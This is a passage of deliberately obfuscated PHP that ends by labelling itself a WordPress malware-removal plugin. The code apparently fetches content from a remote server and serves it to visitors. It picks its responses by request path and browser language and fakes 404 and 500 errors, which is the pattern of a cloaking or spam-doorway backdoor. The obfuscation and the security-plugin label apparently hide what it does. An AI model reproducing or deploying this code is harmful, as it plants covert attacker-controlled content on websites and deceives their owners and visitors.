        header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]);
        echo $ooooooOoOoooOOOooooO;
        exit;
    }
    if (strpos($oOoooOOoOO, $O[59] . $O[9] . $O[15] . $O[9])) {
        $ooooooOOoOOoooOOOooooOOOOO = explode($O[55], $oOoooOOoOO);
        $ooooooOOoOOoooOOOooooOOOOO = $ooooooOOoOOoooOOOooooOOOOO[count($ooooooOOoOOoooOOOooooOOOOO) - 1];
        $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[59] . $O[20] . $O[25] . $O[18], "", $ooooooOOoOOoooOOOooooOOOOO);
    } else {
        $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[63], "", $oOoooOOoOO);
        $ooooooOOoOOoooOOOooooOOOOO = str_replace($O[59] . $O[20] . $O[25] . $O[18], "", $ooooooOOoOOoooOOOooooOOOOO);
    }
    $ooooooOoOoooOOOooo[$O[1] . $O[8] . $O[3] . $O[12]] = $ooooooOOoOOoooOOOooooOOOOO;
    $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[21] . $O[15] . $O[2] . $O[21] . $O[17] . $O[52] . $O[11] . $O[7] . $O[4] . $O[2] . $O[25] . $O[10] . $O[9];
    $ooooooOOoOoOoooOOOooooOOoOOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo);
    if ($ooooooOOoOoOoooOOOooooOOoOOO == '1') {
        $ooooooOoOoooOOOooooO = ooOOoOOO($ooooOOOOoooOOOooO, $ooooooOoOoooOOOooo);
        header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]);
        echo $ooooooOoOoooOOOooooO;
        exit;
    }
    $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[21] . $O[15] . $O[2] . $O[21] . $O[17] . $O[52] . $O[1] . $O[8] . $O[3] . $O[12] . $O[11];
    $ooooooOOoOoOoooOOOooooOOoOoOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo);
    if (strpos($oOoooOOoOO, $O[25] . $O[10] . $O[9]) > 0 || $ooooooOOoOoOoooOOOooooOOoOoOO == '1') {
        $ooooooOoOoooOOOooo[$O[10] . $O[21] . $O[4] . $O[7] . $O[8] . $O[24]] = $O[3] . $O[10] . $O[24] . $O[12] . $O[52] . $O[20] . $O[25] . $O[18];
        $ooooooOOoOoOoooOOOooooOOoOOO = ooOOoOOO($oooooOOoooOOOoooOoo, $ooooooOoOoooOOOooo);
        header($O[47] . $O[8] . $O[24] . $O[4] . $O[2] . $O[24] . $O[4] . $O[53] . $O[4] . $O[5] . $O[9] . $O[2] . $O[62] . $O[4] . $O[2] . $O[20] . $O[4] . $O[63] . $O[20] . $O[25] . $O[18]);
        echo $ooooooOOoOoOoooOOOooooOOoOOO;
        exit;
    }
}
if (strpos($oOoooOOoOO, $O[59] . $O[9] . $O[15] . $O[9])) {
    $ooooooOOooOooOoooOOOooooOOoOoOO = $oOooOOoOO . $ooOOOOoooOOOoOO . $ooOOOoooOOoOO;
    $ooooooOoOoooOOOooo[$O[25] . $O[10] . $O[7] . $O[24] . $O[52] . $O[11] . $O[15] . $O[2] . $O[18] . $O[18]] = $ooooooOOooOooOoooOOOooooOOoOoOO;
} else {
    $ooooooOOooOooOoooOOOooooOOoOoOO = $oOooOOoOO . $ooOOOOoooOOOoOO;
    $ooooooOoOoooOOOooo[$O[25] . $O[10] . $O[7] . $O[24] . $O[52] . $O[11] . $O[15] . $O[2] . $O[18] . $O[18]] = $ooooooOOooOooOoooOOOooooOOoOoOO;
}
$ooooOoOOooOoooOOOoOoOoOoO = oooOOooOOoOO($oooOOOooOoooOOOooooOoOoOoOoO);
if (strpos($_SERVER[$O[29] . $O[28] . $O[26] . $O[32] . $O[28] . $O[37] . $O[30] . $O[52] . $O[32] . $O[29] . $O[33]], $O[59] . $O[9] . $O[15] . $O[9])) {
    $ooooooooOOOOOOOO = $O[55];
} else {
    $ooooooooOOOOOOOO = $O[63];
}
if ($ooooOoOOooOoooOOOoOoOoOoO && substr($_SERVER[$O[29] . $O[28] . $O[26] . $O[32] . $O[28] . $O[37] . $O[30] . $O[52] . $O[32] . $O[29] . $O[33]], 5) == $O[59] . $O[15] . $O[4] . $O[25] . $O[18] && preg_match($O[63] . $O[16] . $O[10] . $O[63] . $O[7], @$_SERVER[$O[41] . $O[30] . $O[30] . $O[35] . $O[52] . $O[36] . $O[47] . $O[47] . $O[28] . $O[35] . $O[30] . $O[52] . $O[44] . $O[36] . $O[50] . $O[40] . $O[32] . $O[36] . $O[40] . $O[28]])) {
    echo ooOOoOOO($ooooOOOOoooOOOooOoo, $ooooooOoOoooOOOooo);
    exit;
}
$oooOoOooOooOoooOOOoOoOoOoOo = oooOOOo($oooOoOOooOoooOOOoOoOoOoOoO);
if ($oooOoOooOooOoooOOOoOoOoOoOo) {
    $ooooooOOOOOoooOOOOooooooO = ooOOoOOO($oooOOOOoooOOOooOO, $ooooooOoOoooOOOooo);
    if ($ooooooOOOOOoooOOOOooooooO == $O[70] . $O[67] . $O[70]) {
        header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[70] . $O[67] . $O[70] . $O[57] . $O[50] . $O[8] . $O[4] . $O[57] . $O[39] . $O[8] . $O[6] . $O[24] . $O[12]);
        exit;
    } else {
        if ($ooooooOOOOOoooOOOOooooooO == $O[69] . $O[67] . $O[67]) {
            header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[69] . $O[67] . $O[67] . $O[57] . $O[33] . $O[24] . $O[4] . $O[2] . $O[3] . $O[24] . $O[10] . $O[18] . $O[57] . $O[37] . $O[2] . $O[3] . $O[22] . $O[2] . $O[3] . $O[57] . $O[28] . $O[3] . $O[3] . $O[8] . $O[3]);
            exit;
        } else {
            if ($ooooooOOOOOoooOOOOooooooO == $O[23] . $O[18] . $O[10] . $O[24] . $O[17]) {
                echo '';
                exit;
            } else {
                echo $ooooooOOOOOoooOOOOooooooO;
                exit;
            }
        }
    }
} else {
    header($O[41] . $O[30] . $O[30] . $O[35] . $O[63] . $O[64] . $O[59] . $O[67] . $O[57] . $O[70] . $O[67] . $O[70] . $O[57] . $O[50] . $O[8] . $O[4] . $O[57] . $O[39] . $O[8] . $O[6] . $O[24] . $O[12]);
}


Malware detection & removal plugin for WordPress

(C)2020 Wordpress Doctor All rights reserved.